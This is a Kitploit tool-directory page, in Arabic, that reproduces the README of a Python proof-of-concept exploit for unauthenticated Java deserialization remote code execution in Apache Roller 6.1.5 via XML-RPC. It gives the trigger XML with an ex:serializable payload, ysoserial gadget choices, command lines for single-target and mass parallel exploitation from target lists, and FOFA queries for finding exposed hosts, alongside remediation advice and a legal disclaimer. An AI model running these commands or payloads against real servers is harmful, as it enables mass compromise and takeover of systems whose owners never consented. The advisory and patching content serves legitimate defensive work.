Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-82384 — أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-82384: تكشف وتستغل إزالة تسلسل Java غير المصادق عليها عبر XML-RPC في Apache Roller 6.1.5 باستخدام حمولات ysoserial، مع إمكانية الفحص الجماعي. | Kitploit
أدوات/GitHubGitHub/murrez/cve-2026-82384
الاستطلاعتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقأداة الوصول عن بعد
GitHubmurrez/cve-2026-82384

CVE-2026-82384

أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-82384: تكشف وتستغل إزالة تسلسل Java غير المصادق عليها عبر XML-RPC في Apache Roller 6.1.5 باستخدام حمولات ysoserial، مع إمكانية الفحص الجماعي.

12منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-82384 — إلغاء تسلسل XML-RPC في Apache Roller 6.1.5

إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-82384 — إلغاء تسلسل Java غير مُصادَق عليه في Apache Roller 6.1.5 عبر servlet XML-RPC القديم.

صفحة PoC: https://pocbit.org/pocs/cve-2026-82384


ما هو Apache Roller؟

Apache Roller هو خادم مدونات متعدد المستخدمين مبني على Java (تاريخيًا "Roller Weblogger"). عادةً ما تكون عمليات النشر عبارة عن ملفات WAR على Tomcat مع واجهة مستخدم تحت /roller-ui/ وواجهات Blogger / MetaWeblog القديمة عبر XML-RPC على /roller-services/xmlrpc. أصلح Roller 6.1.5 (سبتمبر 2025) مشكلة جلسات غير ذات صلة (CVE-2025-24859) لكنه ترك حزمة XML-RPC في تهيئة خطرة بالنسبة لهذه الثغرة.


الثغرة بلغة مبسطة

CVE-2026-82384 هي إلغاء تسلسل بيانات غير موثوقة (CWE-502) على نقطة نهاية XML-RPC:

  1. تم تهيئة XmlRpcServlet في Roller مع enabledForExtensions=true، لذا تقبل مكتبة Apache ws-xmlrpc أنواع الامتدادات الخاصة بالمورّد، بما في ذلك ex:serializable — وهو كائن Java مُسلسَل مُرمَّز بـ base64.
  2. يتم تنفيذ هذا التحليل أثناء معالجة طلب HTTP، قبل تقييم مصادقة Blogger/MetaWeblog.
  3. تعيين الـ servlet موجود دائمًا في web.xml، لذا يستمر المحلل في العمل حتى عندما يعطّل المسؤولون XML-RPC في إعدادات Roller (webservices.enableXmlRpc=false). تعطيل الميزة في واجهة المستخدم لا يغلق هذا المسار قبل المصادقة على 6.1.5.
  4. يرسل مهاجم بعيد جسم XML-RPC مُصمَّمًا؛ فيقوم الخادم بـ إلغاء تسلسل بايتات المهاجم → تنفيذ تعليمات برمجية عن بُعد في JVM (نفس فئة الخلل في CVE-2016-5003 التاريخية في ws-xmlrpc / Archiva).

المتأثر: Apache Roller 6.1.5 فقط (وفقًا لإرشاد المورّد).
تم الإصلاح: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false، ورفض الطلبات عندما يكون XML-RPC معطّلًا عالميًا.

المقياسالقيمة
CVSS 3.19.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المصادقةلا شيء بالنسبة لبدائية إلغاء التسلسل
المكتشفn0mi1k
المورّدApache Software Foundation

سطح الهجوم

العنصرالتفصيل
نقطة النهايةPOST /roller-services/xmlrpc (جرّب أيضًا /roller/roller-services/xmlrpc)
Content-Typetext/xml
المُشغِّل<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> داخل methodCall
سلسلة الأدوات (Gadget chain)تعتمد على classpath (Commons Collections، إلخ)؛ غالبًا ما تُولَّد باستخدام ysoserial
التأثيرتنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم نظام التشغيل Tomcat/Roller؛ عادةً تحكم كامل في بيانات المدونة والانتقال إلى المضيف

ما الذي يفعله هذا الـ PoC

الوضعالسلوك
checkيكتشف بصمات Roller، ويحدد موقع URL الخاص بـ XML-RPC، مع --probe-deser الاختياري (يرسل بايتات فحص ex:serializable)
exploitينشر حمولتك المُسلسَلة (ملف، أو base64، أو ysoserial عبر --ysoserial-jar)
الجماعي--list targets.txt --mode exploit -j N — معالجة جماعية متوازية مع JSONL + exploited.txt

حقول PoCbit: pocbit، pocbit_catalog، pocbit_page في كل صف JSONL.
CLI: لافتة ملوّنة، أسطر [HIT] / [EXPLOIT] / [FAIL] (عطّلها باستخدام --no-color).

هذا المستودع لا يتضمن سلاسل أدوات RCE جاهزة (تعتمد على classpath). للاستغلال الفعلي، قدّم مخرجات ysoserial أو ملف حمولة موثّقًا.


المتطلبات

pip install -r requirements.txt

لـ RCE (ليس مجرد الكشف):

  • Java + ysoserial JAR على جهاز المهاجم
  • أمثلة على الـ gadgets: URLDNS (إثبات خارج النطاق)، CommonsCollections6 (تنفيذ الأوامر على مسار classpath النموذجي لـ Roller — تحقق في المختبر أولاً)

الاستخدام

الكشف

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

استغلال (هدف واحد)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

استغلال جماعي واسع النطاق

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

المخرجات:

  • cve_2026_82384_exploit.jsonl — JSON لكل هدف
  • exploited.txt — الأهداف التي تم فيها قبول الحمولة / إرسال OOB

نموذج بنية XML-RPC (تعليمي)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

على 6.1.5، قد يؤدي تحليل هذا الجسم إلى إزالة التسلسل قبل أن يفرض أي معالج أسلوب التحقق من بيانات الاعتماد.


المعالجة

  1. قم بالترقية إلى Roller 6.1.6+ فورًا.
  2. حتى يتم التصحيح: احظر /roller-services/xmlrpc على الوكيل العكسي / WAF (اسمح فقط بعناوين IP الخاصة بالمسؤولين).
  3. الجرد: ابحث عن Apache Roller، /roller-ui/، مضيفي المدونات على المنفذ 8080/8443.
  4. مشكلات ذات صلة من نفس الإصدار: CVE-2026-82377 (تفويض XML-RPC)، CVE-2026-82386 (XXE في استيراد الإشارات المرجعية) — تم إصلاحها أيضًا في 6.1.6.

FOFA / hunting (أمثلة)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

تحقق من الإصدار 6.1.5 من التذييل أو صفحة "حول" أو WEB-INF / ملاحظات الإصدار قبل اعتباره قابلًا للاستغلال.


القانونية

استخدمه فقط على الأنظمة المصرح لك باختبارها. يمكن أن تتسبب ثغرات إلغاء التسلسل في تدمير البيانات وانتهاك القانون في حال إساءة الاستخدام.

تنزيل الأداة